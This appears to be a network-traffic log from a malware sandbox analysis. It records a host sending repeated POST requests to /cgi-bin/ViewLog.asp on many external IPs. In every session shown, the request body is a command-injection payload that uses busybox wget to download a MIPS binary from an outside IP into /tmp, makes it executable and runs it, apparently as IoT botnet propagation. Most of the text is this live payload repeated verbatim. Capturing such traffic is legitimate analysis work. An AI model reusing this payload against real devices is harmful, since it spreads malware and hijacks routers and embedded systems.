2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	38656	31.136.190.65	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.021404982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.606180906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.726166964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.158174038 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.766175032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	59764	31.136.156.147	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.021456003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.606180906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.726166964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.158174038 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.766175032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	51114	94.107.213.205	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.022973061 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.207915068 CET	567	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:18:09 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	45856	31.184.209.19	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.033139944 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.227983952 CET	544	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:18:09 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	59030	95.86.121.227	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.071357965 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	42362	95.86.127.212	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.071549892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	55888	95.164.45.137	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.295063972 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	45378	31.136.79.128	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.305803061 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.894175053 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.046178102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.414170027 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.022253990 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	38164	94.110.82.2	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.319020033 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	36482	95.111.252.228	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.320812941 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	36518	94.111.12.241	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.342374086 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
